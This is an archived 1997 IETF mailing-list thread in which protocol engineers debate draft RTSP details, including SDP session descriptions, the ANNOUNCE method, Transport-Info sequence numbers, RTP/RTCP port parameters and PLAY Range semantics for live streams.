1.   Client retrieves description of the container file through a single
DESCRIBE (though may retrieve this through other means if those means are
sufficiently synchronized with the media server).  This single description
contains multiple streams.
2.   The client issues a SETUP command per stream (n SETUP commands) to the
server.  Each of the SETUP messages has the same session id, and are
distinguished by their URLs.
3.   The client issues a single PLAY, which starts all streams in the
session along a common NPT.

What hasn't been previously discussed is Progressive Networks aligning with
the consensus on this issue, which we now are.  We would like to make this
a "last call" on this particular issue in case that there are some issues
that others have with the method that is proposed in the draft.  This will
allow us to use this method in current implementations.
--------------------------------------------------------------------------
   c.  PEP-Protocol Extention Protocol

We've added PEP support to the latest draft of RTSP.  More information
about PEP can be found at:

http://www.w3.org/pub/WWW/Protocols/PEP/Overview.html

Since minimal PEP support is really easy to pull off (see the RTSP refkit
for source code), those implementations with simple needs will be able to
gracefully accomodate clients with more demanding needs.  The PEP protocol
has remained reasonably stable for the past few months, and it's not
unrealistic to expect that it will achieve proposed standard in the very
near future.  If it looks like PEP standardization is going to take longer
than we are currently anticipating, we may reconsider this issue. 
--------------------------------------------------------------------------
   d. ANNOUNCE method

The ANNOUNCE method was introduced in the last draft.  Functionally, it is
equivalent to the S->C DESCRIBE, but we decided that it was semantically
different enough that it needs a new name.
--------------------------------------------------------------------------
   e. Use of SDP for session descriptions and syntax specification for that.

*NOTE*:  The examples below are slightly different than those in the draft.
 This came from hallway discussions with various parties about how SDP and
RTSP could be better integrated.  The next draft will resolve this issue.

For single-stream presentations, the DESCRIBE response should look like this:

   DESCRIBE rtsp://foo.com/boo/bar.wav/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: 22 Jul 1997 00:16:41 GMT
   Content-type: application/sdp
   Content-Length: 242
   
   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info> 
   t=0 0
   m=audio 8004 RTP/AVP 3
   c=IN URL rtsp://foo.com/boo/bar.wav

For multi-stream presentations:

   DESCRIBE rtsp://foo.com/boo/bar.avi/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info> 
   t=0 0
   m=video 8002 RTP/AVP 31
   c=IN URL trackID=47
   m=audio 8004 RTP/AVP 3
   c=IN URL trackID=48

The media urls in the request are relative to the request url.  One could
just as easily have had:

   DESCRIBE rtsp://foo.com/boo/bar.avi/ RTSP/1.0 1
   Accept: application/sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info> 
   c=IN IP4 0.0.0.0/15/1
   t=0 0
   m=video 8002 RTP/AVP 31
   c=IN URL rtsp://foo.com/boo/bar.avi/trackID=47
   m=audio 8004 RTP/AVP 3
   c=IN URL rtsp://foo.com/boo/bar.avi/trackID=48
--------------------------------------------------------------------------
   f. Sequence number moved to the header fields

Once upon a time, both SIP and RTSP had a sequence number in the top line
of the request (and the response), and HTTP didn't.  Now only RTSP has
this.  It's been suggested that we move this down to the RFC822 fields.
This may be a bad idea changing this at this in RTSP at this stage, unless
there is a strong feeling that it should be changed (this is my personal
bias-RL).  Henning may wish to comment on this :)

=============================================================================
2. New Business
----------------------------------------------------------------------------
   a. Allow change of Transport

It may be the case that a server would want to change the multicast address
mid-presentation.  Is this something that should be allowed, and how should
it be done?
--------------------------------------------------------------------------
   b. Release Scheudule

September 1: draft04
October 1: draft05
November 1: WG last call

All drafts will contain accurate changebars in the Postscript versions.
--------------------------------------------------------------------------
   c. Interoperability test gathering

We should have a gathering in the Seattle area (Progressive Networks
hosted) in the first week of October at which we have everyone who is
working on RTSP implementations get together and try to get
interoperability between all of our clients and servers.  This will let us
have a face-to-face opportunity to knock out draft issues and bugs in
implementations.  Interested parties should contact me (robla@prognet.com),
and I'll coordinate this event.

That's the plan at this point.  Please feel free to start/continue the
conversation on any of these bullet points now on this list, and hopefully
we'll be seeing many of you here in Munich on Thursday to dive into these
as well.  Also, please feel free to raise any oversights in this list.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Tue Aug 12 12:24:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11980>; Tue, 12 Aug 1997 05:35:46 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11974>; Tue, 12 Aug 1997 05:35:45 -0700
Received: from pbinfo (uni-paderborn.de [131.234.22.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA27410
	for <confctrl@isi.edu>; Tue, 12 Aug 1997 05:35:41 -0700 (PDT)
From: cortes@uni-paderborn.de
Received: from IDENT-NONSENSE@freeway (port 51738 [131.234.72.33]) by pbinfo.uni-paderborn.de with ESMTP id <52630-13286>; Tue, 12 Aug 1997 14:35:07 +0200
Received: (from cortes@localhost) by freeway.uni-paderborn.de (8.7.5/8.7.3) id OAA24563 for confctrl@isi.edu; Tue, 12 Aug 1997 14:34:44 +0200 (MET DST)
Message-Id: <199708121234.OAA24563@freeway.uni-paderborn.de>
Subject: Transport-Info Seq. number
To: robla@prognet.com (Rob Lanphier)
Date: Tue, 12 Aug 1997 10:24:41 +0200 (MET DST)
In-Reply-To: <3.0.3.32.19970812020324.0072ead0@mail.prognet.com> from "Rob Lanphier" at Aug 12, 97 02:03:24 am
X-Mailer: ELM [version 2.4 PL25 PGP2]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



> --------------------------------------------------------------------------
>    a. Transport-Info: field
> 
>    In order to gracefully handle delayed packets after seeking, the server
> needs to be able to reliably send the sequence number of the initial packet
> following a seek, so that the client knows it can safely discard packets
> with sequence numbers smaller than the initial post-seek sequence number.
> 
>    The Transport-Info field was added as a way of solving this problem.

	I guess I wasn't in the mailing list when this topic was
discussed, therefore sorry if I repeat something that was already
said.

	From my point of view there is a small problem with such
a way to send the sequence number (I saw a similar problem with
'STREAM SYNC' in the original (and 'dead') specification-00).

	As you say, a Transport-Info field in the RTSP response is
reliable, but, although we can assume that RTP (or any other
transport protocol) 'goes' over a 'real-time prepared conection'
(reserved via RSVP or any other mean outside the RTSP & RTP protocols),
we cannot make the same assumption about the RTSP conection.
	To summarize, the RTSP response (containing the Transport-Info)
to a PLAY can (and in the scenarios I think of, *will*) arrive later
(maybe much later) than the packets using that sequence number.

	(It still have an advantage against not sending it at all,
i.e. to allow discarding same packets that could have been buffered; but
it would be better another solution)

	I think of two possibilites:
	- It's the client who chooses the first sequence number following
a seek and sends it toghether with the PLAY method
	- The servers waits for an acknowledgment for its response
to the PLAY (I don't like this solution at all...  its against the
protocol structure of RTSP...).



	Hope I'm not speaking non-sense.
	I apologize again for not having been there when the topic
was discussed the first time.


-- 
Francisco Cortes (Paco)			Hoehenstr. 17a
					33098 Paderborn
cortes@uni-paderborn.de			Tln. +49 5251 670933
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96


From majordom@ISI.EDU  Tue Aug 12 10:05:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18568>; Tue, 12 Aug 1997 17:08:50 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18561>; Tue, 12 Aug 1997 17:08:48 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24782
	for <confctrl@isi.edu>; Tue, 12 Aug 1997 17:08:46 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id RAA13976;
	Tue, 12 Aug 1997 17:05:28 -0700
Date: Tue, 12 Aug 1997 17:05:28 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708130005.RAA13976@vxtreme.com>
To: cortes@uni-paderborn.de
Subject: Re:  Transport-Info Seq. number
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 	To summarize, the RTSP response (containing the Transport-Info)
> to a PLAY can (and in the scenarios I think of, *will*) arrive later
> (maybe much later) than the packets using that sequence number.
> 
> 	I think of two possibilites:
> 	- It's the client who chooses the first sequence number following
> a seek and sends it toghether with the PLAY method
> 	- The servers waits for an acknowledgment for its response
> to the PLAY (I don't like this solution at all...  its against the
> protocol structure of RTSP...).

I think the first possibility that you mention would be all right.
Perhaps this could be made optional, so that only clients for which
buffer space is at a premium would need to worry about it.

I experience the problem that you describe all the time with my
software, but it is not a serious issue because it only happens over
congested network links, and the RTP bit rate sent on those links is
usually fairly low.

Anders

From majordom@ISI.EDU  Tue Aug 12 10:18:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19331>; Tue, 12 Aug 1997 17:22:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19325>; Tue, 12 Aug 1997 17:22:03 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25169
	for <confctrl@ISI.EDU>; Tue, 12 Aug 1997 17:22:02 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id RAA14147;
	Tue, 12 Aug 1997 17:18:47 -0700
Date: Tue, 12 Aug 1997 17:18:47 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708130018.RAA14147@vxtreme.com>
To: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>
Subject: Re:  Thursday MMUSIC/RTSP Agenda
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have a comment on the Transport-Info field.  If I remember correctly,
the spec provides for a "cport" parameter, which is the port number
that the server listens on for RTCP packets.

What is the clients interpretation of a Transport-Info field where the
"cport" parameter is missing?  Does it imply cport = port + 1 where
"port" is the RTP port number that the client supplied in the Transport
field?

Also, I don't like the idea of having a "cport" field in the first place.
It gives the impression that the client is only expected to send RTCP
packets to the server, and no RTP packets.  But that is not
necessarily true.

Consider the case of a unicast connection between a server and a client.
The client issues the RECORD command and wants to send RTP data to the
server.  The server might be some recording tool, or the client might
actually be another server that is trying to replicate its content.
Or the client might be trying to stage content in the cache of the
server, which is really a caching RTP proxy, etc, etc.

For this scenario to work, the client needs to know the port number that
the server is listening on for RTP data.  The "cport" parameter is
not really adequate for this.  There needs to be a "port" parameter
or something like this in the Transport-Info field.

Anders

From majordom@ISI.EDU  Tue Aug 12 11:02:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20520>; Tue, 12 Aug 1997 18:06:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20514>; Tue, 12 Aug 1997 18:06:00 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26306
	for <confctrl@ISI.EDU>; Tue, 12 Aug 1997 18:05:59 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id SAA14796;
	Tue, 12 Aug 1997 18:02:44 -0700
Date: Tue, 12 Aug 1997 18:02:44 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708130102.SAA14796@vxtreme.com>
To: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>
Subject: ANNOUNCE command
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

It seems to me that it would be useful to specify the Session ID in 
the ANNOUNCE command.  If the codec for a particular stream is 
changed in the middle of the presentation, the server may have to send
an ANNOUNCE command with the new presentation description.  This is
especially true in the case of a live event where it was not possible
to anticipate the codec change beforehand.  (For pre-recorded data,
all codecs could be listed in the initial presentation description.)
In addition, many commercial codecs need initialization parameters,
and those parameters may be conveyed as part of the presentation
description.  So if the codec changes, it might be absolutely
necessary for the client to receive the new presentation description.

If a RTSP TCP connection is used to control several RTSP sessions,
the client might not know which session the ANNOUNCE command refers to.
Any rtsp:// URI's that are in the presentation description may not
be sufficient to uniquely identify the session.
Including the Session ID as a parameter to the ANNOUNCE command
would solve this problem.

Another related problem is that if a codec changes in the middle of a
session, the client really needs to know the RTP sequence number of
the first packet using the new codec.  Otherwise, it is pretty clear
that the result is quite unpredictable.
Including a Transport-Info header, or something like that, with the
ANNOUNCE command would solve the problem.  Ugh, it's starting to get
a little bit messy.

Anders

From majordom@ISI.EDU  Tue Aug 12 11:27:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20985>; Tue, 12 Aug 1997 18:31:10 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20979>; Tue, 12 Aug 1997 18:31:09 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26897
	for <confctrl@ISI.EDU>; Tue, 12 Aug 1997 18:31:08 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id SAA15158;
	Tue, 12 Aug 1997 18:27:50 -0700
Date: Tue, 12 Aug 1997 18:27:50 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708130127.SAA15158@vxtreme.com>
To: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>
Subject: Re: ANNOUNCE command
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I forgot to mention that there is a problem with the ANNOUNCE command
when the RTP data is being multicasted.  If a TCP connection is used
to control the multicasting server, only the client with the control
connection will be able to receive the ANNOUNCE commands.  Any clients
who are only receiving the multicasted RTP packets will be unaware of
mid-stream codec changes done by the server.

Hmm...  Maybe the RTSP draft editors meant that RTSP would be used
over multicast UDP in a scenario like this.  Hmm...  But I recall
reading in the draft that no RTSP acknowledgements should be sent
when using multicast UDP.  In that case, the clients would never get
the Transport-Info and Session-Id headers, because they are sent as
part of RTSP acknowledgements.  Maybe I got something wrong here,
so please let me know what your take on this is.

Anders

From majordom@ISI.EDU  Tue Aug 12 17:48:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01725>; Wed, 13 Aug 1997 00:48:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01719>; Wed, 13 Aug 1997 00:48:41 -0700
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04882
	for <confctrl@ISI.EDU>; Wed, 13 Aug 1997 00:48:40 -0700 (PDT)
Received: from apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id AAA26836;
	Wed, 13 Aug 1997 00:48:35 -0700
Received: from gala.apple.com ([17.128.120.34])
	by apple.com (8.8.5/8.8.5) with ESMTP id AAA17088;
	Wed, 13 Aug 1997 00:48:34 -0700
Received: (from alagu@localhost) by gala.apple.com (8.7.1/8.7.1) id AAA22260; Wed, 13 Aug 1997 00:48:31 -0700
Date: Wed, 13 Aug 1997 00:48:31 -0700 (PDT)
From: Alagu Periyannan <alagu@apple.com>
To: Anders Klemets <klemets@vxtreme.com>
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>
Subject: Re: Thursday MMUSIC/RTSP Agenda
In-Reply-To: <199708130018.RAA14147@vxtreme.com>
Message-Id: <Pine.LNX.3.91.970813004319.22181B-100000@gala.apple.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

I was expecting "port=" to be replaced by "cport="
and "sport=". These would be for the client RTP port
and server RTP port. The RTCP ports for both would
be obtained by adding one.

This would solve the problem mentioned below.

On Tue, 12 Aug 1997, Anders Klemets wrote:

> I have a comment on the Transport-Info field.  If I remember correctly,
> the spec provides for a "cport" parameter, which is the port number
> that the server listens on for RTCP packets.
> 
> What is the clients interpretation of a Transport-Info field where the
> "cport" parameter is missing?  Does it imply cport = port + 1 where
> "port" is the RTP port number that the client supplied in the Transport
> field?
> 
> Also, I don't like the idea of having a "cport" field in the first place.
> It gives the impression that the client is only expected to send RTCP
> packets to the server, and no RTP packets.  But that is not
> necessarily true.
> 
> Consider the case of a unicast connection between a server and a client.
> The client issues the RECORD command and wants to send RTP data to the
> server.  The server might be some recording tool, or the client might
> actually be another server that is trying to replicate its content.
> Or the client might be trying to stage content in the cache of the
> server, which is really a caching RTP proxy, etc, etc.
> 
> For this scenario to work, the client needs to know the port number that
> the server is listening on for RTP data.  The "cport" parameter is
> not really adequate for this.  There needs to be a "port" parameter
> or something like this in the Transport-Info field.
> 
> Anders
> 

ould use 'cport - 1' as RTP
port at the server.

	To be honest I agree that in the scenario you mention a
direct way to specify the RTP  port should be provided.

	Maybe the easiest way is that for the RECORD method no
'port' field be sent from the client to the server, and it
is sent in the response from the server to the client. (But then
the specification should be modified, as it states:
" port: RTP/RTCP destination ports on client. ..."

	I'm afraid that the only examples about recording I found in the
specification was from a conference, but in the one in section
"14.5", the 'port' field of 'Transport' is actually sent in the
response from the server to the client. It's not the same as I
proposed above, because it should be a multicast port (and address,
I think that the multicast address was forgotten in the example), but
it goes in the same direction.
	The way to set the RTP reception port for recording in
the unicast scenario should be explicitly described in the specification.


	
	Paco

-- 
Francisco Cortes (Paco)			Hoehenstr. 17a
					33098 Paderborn
cortes@uni-paderborn.de			Tln. +49 5251 670933
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96

From majordom@ISI.EDU  Wed Aug 13 03:29:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06810>; Wed, 13 Aug 1997 04:29:50 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06804>; Wed, 13 Aug 1997 04:29:48 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08295
	for <confctrl@ISI.EDU>; Wed, 13 Aug 1997 04:29:47 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA07938; Wed, 13 Aug 1997 07:29:43 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id HAA16705; Wed, 13 Aug 1997 07:29:43 -0400 (EDT)
Message-Id: <33F19AA6.D81@cs.columbia.edu>
Date: Wed, 13 Aug 1997 07:29:42 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.02 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anders Klemets <klemets@vxtreme.com>
Cc: confctrl@ISI.EDU
Subject: Re: ANNOUNCE command
References: <199708130127.SAA15158@vxtreme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders Klemets wrote:
> 
> I forgot to mention that there is a problem with the ANNOUNCE command
> when the RTP data is being multicasted.  If a TCP connection is used
> to control the multicasting server, only the client with the control
> connection will be able to receive the ANNOUNCE commands.  Any clients
> who are only receiving the multicasted RTP packets will be unaware of
> mid-stream codec changes done by the server.

For multicast, periodic retransmission is about the only real
possibility. However, I'm not sure we have worked out how a combined
unicast/multicast RTSP session would work. What multicast address should
the ANNOUNCEments be sent to and how do the clients find out about this
address? Shouldn't SDP/SAP be used instead?


> 
> Hmm...  Maybe the RTSP draft editors meant that RTSP would be used
> over multicast UDP in a scenario like this.  Hmm...  But I recall
> reading in the draft that no RTSP acknowledgements should be sent
> when using multicast UDP.  In that case, the clients would never get
> the Transport-Info and Session-Id headers, because they are sent as
> part of RTSP acknowledgements.  Maybe I got something wrong here,
> so please let me know what your take on this is.
> 
> Anders

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Aug 13 03:40:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07084>; Wed, 13 Aug 1997 04:43:25 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07078>; Wed, 13 Aug 1997 04:43:23 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08483
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 04:43:22 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA08326; Wed, 13 Aug 1997 07:40:59 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id HAA16772; Wed, 13 Aug 1997 07:40:54 -0400 (EDT)
Message-Id: <33F19D46.5FCD@cs.columbia.edu>
Date: Wed, 13 Aug 1997 07:40:54 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.02 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anders Klemets <klemets@vxtreme.com>
Cc: Anup Rao <anup@netscape.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@ISI.EDU
Subject: Re: ANNOUNCE command
References: <199708130102.SAA14796@vxtreme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Unless I'm missing something, the example should have included a Session
header. Rob, Anup: is this more than just an accidental omission? I've
added it to the example, before I forget...

For the codec changes, you would seem to be better off not reusing an
existing PT for a new codec. There are plenty of dynamic PTs around, so
I don't see the need to try to synchronize announcements and codec
changes that closely. This was the whole reason for having RTP PTs in
the first place. I think it is important to limit the necessary
communication between RTSP clients and media agent - they may well be
separate programs. Even asking them to learn about new PTs mid-stream is
probably pretty ambitious.

From majordom@ISI.EDU  Tue Aug 12 16:56:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09098>; Wed, 13 Aug 1997 06:11:40 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09092>; Wed, 13 Aug 1997 06:11:40 -0700
Received: from hubbub.cisco.com (mailgate-sj-1.cisco.com [198.92.30.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11861
	for <confctrl@ISI.EDU>; Wed, 13 Aug 1997 06:11:39 -0700 (PDT)
Received: from oranlt.cisco.com (Laptop-dhcp-233.ietf.de [195.27.195.233]) by hubbub.cisco.com (8.8.4-Cisco.1/CISCO.GATE.1.1) with SMTP id GAA28396; Wed, 13 Aug 1997 06:11:02 -0700 (PDT)
Message-Id: <3.0.2.32.19970812205657.007747e0@www.employees.org>
X-Sender: oran@www.employees.org
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
Date: Tue, 12 Aug 1997 20:56:57 -0400
To: Anders Klemets <klemets@vxtreme.com>, confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: PLAY without Range header
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
References: <503A2A3C2932CF118D8800805FD44E18039BD6C1@RED-68-MSG.dns.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I may be completely off in left field, but it strikes me as wierd and a bit
unnatural to treat the live event and the recorded version as the same stream.

What's wrong with treating these as separate RTSP sessions?


At 03:42 PM 8/11/97 -0700, Anders Klemets wrote:
>The RTSP draft says that if a PLAY command does not have a Range header,
>it means that the server should start playing from the beginning of the
>stream or resume playing if it was previously paused.  But there is a
>scenario where the behavior of the PLAY command is not at all obvious
>without a Range header.
>
>Consider the case of a live event that is also being stored on the
>server and is being unicasted to the clients.
>
>When a client joins such a live session, it must send a PLAY command in
>order to receive data, because data is sent point-to-point to the
>clients.  Sometimes a client may want to play the live stream all the
>way from the beginning.  This is not a problem, because the server is
>recording the live stream.  
>
>More often, however, the client may want to start playing from the "live
>offset", or "time t=Now".  This is essentially the same as sending a
>PLAY command with the Range header giving the timestamp of the end of
>the stream that the server has recorded.  The problem is that this
>timestamp is constantly changing, as new data is being added to the
>stream all the time.  Thus, since this timestamp is not constant, it
>would be better to represent it with a logical name, rather than a
>numerical value.
>
>One way of doing it would be to reserve the word "now" (or "eof") for
>this timestamp.  Here is how the client would tell the server to send it
>the newest and freshest data it has:
>
>PLAY rtsp://live.com/video RTSP/1.0 123
>Range: npt=now-
>
>As usual, the response to the PLAY command will contain a Range header
>with the timestamp that the server is actually using.
>
>Another way around the problem would be for the client to use its
>current UTC time as the starting point, e.g.:
>
>Range: clock=19970811T223015.25Z-
>
>But this is not really a desirable solution.  We know there is no
>guarantee for clock synchronization and the RTT between the client and
>server may not be neglible.
>
>Yet another way around the problem is to say that for live streams, a
>PLAY command without a Range header is equivalent to "npt=now-".  We
>assume, I suppose, that the client knows that it is dealing with a live
>stream through the presentation description.  Otherwise, it would not
>know when to include the Range header and when not to.
>
>By the way, for pre-recorded streams, clients will typically need to
>know the total "Range" of a stream expressed in NPT units.  This is
>needed in order to display a seek bar or "progress indicator".  The
>client will also need to know whether the stream is seekable, and
>whether Rewind and Fast-Forward is supported, etc, _before_ it actually
>tries any of those commands.  I really want the client GUI to properly
>reflect which actions are available right from the beginning.  I suppose
>this information has to be part of the presentation description, since
>RTSP has no intrinsic support for it.  Please correct me if I am wrong.
>
>Anders
>--------
>klemets@vxtreme.com        VXtreme, Inc.        "Expect Motion ..."
>
>
>
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Wed Aug 13 04:34:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08055>; Wed, 13 Aug 1997 05:35:02 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08049>; Wed, 13 Aug 1997 05:35:01 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA09241
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 05:35:00 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA10457; Wed, 13 Aug 1997 08:34:58 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA17127; Wed, 13 Aug 1997 08:34:58 -0400 (EDT)
Message-Id: <33F1A9F1.59F8@cs.columbia.edu>
Date: Wed, 13 Aug 1997 08:34:57 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.02 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>, Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: [Fwd: Re: Thursday MMUSIC/RTSP Agenda]
Content-Type: multipart/mixed; boundary="------------719011DF148"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a multi-part message in MIME format.

--------------719011DF148
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I agree that this port business should be symmetric, with the receiving
side getting to specify the port (except for multicast). Implicitly,
RTCP ports are the port numbers + 1.

Maybe something like 

rport = receiving port for data
sport = sending port for data

Thus, the cases:

(1) Unicast playback

C->S: rport=4710
S->C: rport=1600;sport=4710

Result: Client receives data on 4710 and sends reports to 1601.

(2) Multicast playback (but client doesn't know), so server gets to
choose by necessity if this isn't the first client joining in:

C->S: rport=4710
S->C: rport=1600;sport=2000

Result: Client receives data on 2000 (or not at all, if it can't do
this); server expects reports at 1601.

(3) Unicast recording:

C->S: sport=4710;rport=3000
S->C: sport=3000;rport=4710

Result: Client (or the session controlled by client) sends data on port
4710; client expects RTCP reports on 3001. Server agrees with that.

(4) Multicast recording:

C->S: sport=4710;rport=4710
S->C: rport=4710;sport=4710

Result: Client sends data on port 4710; server sends reports on 4711.
For multicast, separate send/receive ports don't make sense.
-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

--------------719011DF148
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

